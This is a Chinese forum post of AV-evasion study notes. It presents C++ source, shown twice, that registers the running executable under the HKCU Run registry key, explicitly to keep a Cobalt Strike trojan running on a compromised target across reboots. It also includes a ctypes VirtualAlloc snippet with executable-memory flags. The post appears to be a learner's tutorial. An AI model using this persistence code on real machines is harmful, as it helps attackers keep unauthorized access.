shanque免杀学习笔记day1——使用c++编写开机自启动权限维持工具

山雀7   ·   发表于 2022-05-28 03:23:53   ·   技术文章

通过注册表来开机自启动

注册表
在我们的计算机里面,有一些程序是可以设置成开机自启的,这种程序一般都是采用往注册表里面添加键值指向自己的程序路径来实现开机自启。比如cs生成的exe木马,我们让它开机自启动,然后目标机器每一次开机都会启动木马发来心跳包,以此来达到权限维持的目的。


win+r:regedit打开注册表,在如下位置能够看到当前用户开机启动项的键值

  1. \HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

以后拿到权限可以把payload写到这里。
先贴出写的代码,下面在补充用到的知识

  1. include<stdio.h>
  2. include<windows.h>
  3. void main(void)
  4. {
  5. //根键、子键名称和到子键的句柄
  6. HKEY hRoot = HKEY_CURRENT_USER; 根路径
  7. char* szSubKey = (char*)"Software\\Microsoft\\Windows\\CurrentVersion\\Run";在根路径下对应的项
  8. HKEY hKey;//打开指定子键
  9. DWORD dwDisposition = REG_OPENED_EXISTING_KEY;
  10. //如果不存在就创建
  11. LONG lRet = RegCreateKeyEx(
  12. hRoot,
  13. szSubKey,
  14. 0,
  15. NULL,
  16. REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS,
  17. NULL,
  18. &hKey,
  19. &dwDisposition
  20. );
  21. if (lRet != ERROR_SUCCESS) //如果有就直接关掉这个程序
  22. return;
  23. //得到当前执行文件的文件名(包含路径)
  24. char szModule[MAX_PATH];
  25. GetModuleFileName(NULL, szModule, MAX_PATH);
  26. //创建一个新的键值,设置键值数据为文件
  27. lRet = RegSetValueEx( 调用的函数RegSetValueEx
  28. hKey,
  29. "shanque", 自己设置的键的名字,相当于图中的Wechat
  30. 0,
  31. REG_SZ,
  32. (BYTE*)szModule, 指针,定义一个键的名字以后去指向它,就可以自动的去获得这个键的值
  33. strlen(szModule)需要的一个长度
  34. );
  35. if (lRet == ERROR_SUCCESS)
  36. printf("shanque run success\n");
  37. else
  38. {
  39. printf("failed");
  40. }
  41. //关闭子键句柄
  42. RegCloseKey(hKey);
  43. }

用到的知识补充

1.windowsAPI

概念

windows操作系统提供给应用程序的功能接口

存在方式

存放在dll文件中
dll文件—>动态链接库,里面有很多函数。比如MessageBox这个函数就存放在user.dll这个文件里。

使用方法

顺序:加载或找到dll文件->dll文件里面去找函数名字

C++

  1. #include <windows.h>

可以调用公开的接口。

python

  1. import ctypes
  2. macmem = ctypes.windll.Kernel32.virtualAlloc(0,1003,0x3000,0x40)
调用过程

用户层和内核层

aaa.dll里面是没有具体执行功能的代码的(为了源代码安全和隐私)

会做一个引导

这里面的地址都会统一指向”ntdll.dll”
例子
如果直接用c++来写一个弹窗很麻烦,但是我们可以调用API接口中的MessageBox这个函数。

  1. #include <windows.h> //调用vpi接口
  2. int main()
  3. {
  4. MessageBox(NULL,"shanque","bbb",MB_OK) ;
  5. return 0;
  6. }

2.c++函数指针

一种直接操作计算机内存的方式

  1. #include <iostream>
  2. using namespace std;
  3. int main ()
  4. {
  5. int var = 20; // 实际变量的声明
  6. int *ip; // 指针变量的声明
  7. ip = &var; // 在指针变量中存储 var 的地址
  8. cout << "Value of var variable: ";
  9. cout << var << endl;
  10. // 输出在指针变量中存储的地址
  11. cout << "Address stored in ip variable: ";
  12. cout << ip << endl;
  13. // 访问指针中地址的值
  14. cout << "Value of *ip variable: ";
  15. cout << *ip << endl;
  16. return 0;
  17. }

最后贴上我没有写分析的代码,大家可以直接把shanque改成要自启动的名字就可以

  1. #include<stdio.h>
  2. #include<windows.h>
  3. void main(void)
  4. {
  5. //根键、子键名称和到子键的句柄
  6. HKEY hRoot = HKEY_CURRENT_USER;
  7. char* szSubKey = (char*)"Software\\Microsoft\\Windows\\CurrentVersion\\Run";
  8. HKEY hKey;//打开指定子键
  9. DWORD dwDisposition = REG_OPENED_EXISTING_KEY;
  10. //如果不存在就创建
  11. LONG lRet = RegCreateKeyEx(
  12. hRoot,
  13. szSubKey,
  14. 0,
  15. NULL,
  16. REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS,
  17. NULL,
  18. &hKey,
  19. &dwDisposition
  20. );
  21. if (lRet != ERROR_SUCCESS)
  22. return;
  23. //得到当前执行文件的文件名(包含路径)
  24. char szModule[MAX_PATH];
  25. GetModuleFileName(NULL, szModule, MAX_PATH);
  26. //创建一个新的键值,设置键值数据为文件
  27. lRet = RegSetValueEx(
  28. hKey,
  29. "shanque",
  30. 0,
  31. REG_SZ,
  32. (BYTE*)szModule,
  33. strlen(szModule)
  34. );
  35. if (lRet == ERROR_SUCCESS)
  36. printf("shanque run success\n");
  37. else
  38. {
  39. printf("failed");
  40. }
  41. //关闭子键句柄
  42. RegCloseKey(hKey);
  43. }

最后说一点我自己的想法
如果代码看不懂怎么办?没关系,只需要看分析,注释知道大概是个什么流程就可以了,记得我刚刚开始学习php老师就说了,我们是学渗透的,又不搞开发。
推荐大家以目的出发,然后去学习知识,免杀系列后面我也会不断跟新我的学习笔记,c++会用的比较多。

说一下学习流程吧

百度:win32API+要达到的功能

比如win32API+注册表


很容易在csdn这种地方找到要用到的函数


再把函数拿到https://docs.microsoft.com/zh-cn/search/ 去搜


这两随便看一个,这是官方的利用方法和流程。


然后如果不知道开机自启动去权限维持的,一样去搜一搜看一下就可以了。

用户名金币积分时间理由
Track-劲夫 60.00 0 2022-06-06 11:11:43 一个受益终生的帖子~~

打赏我,让我更有动力~

0 条回复   |  直到 2022-5-28 | 969 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.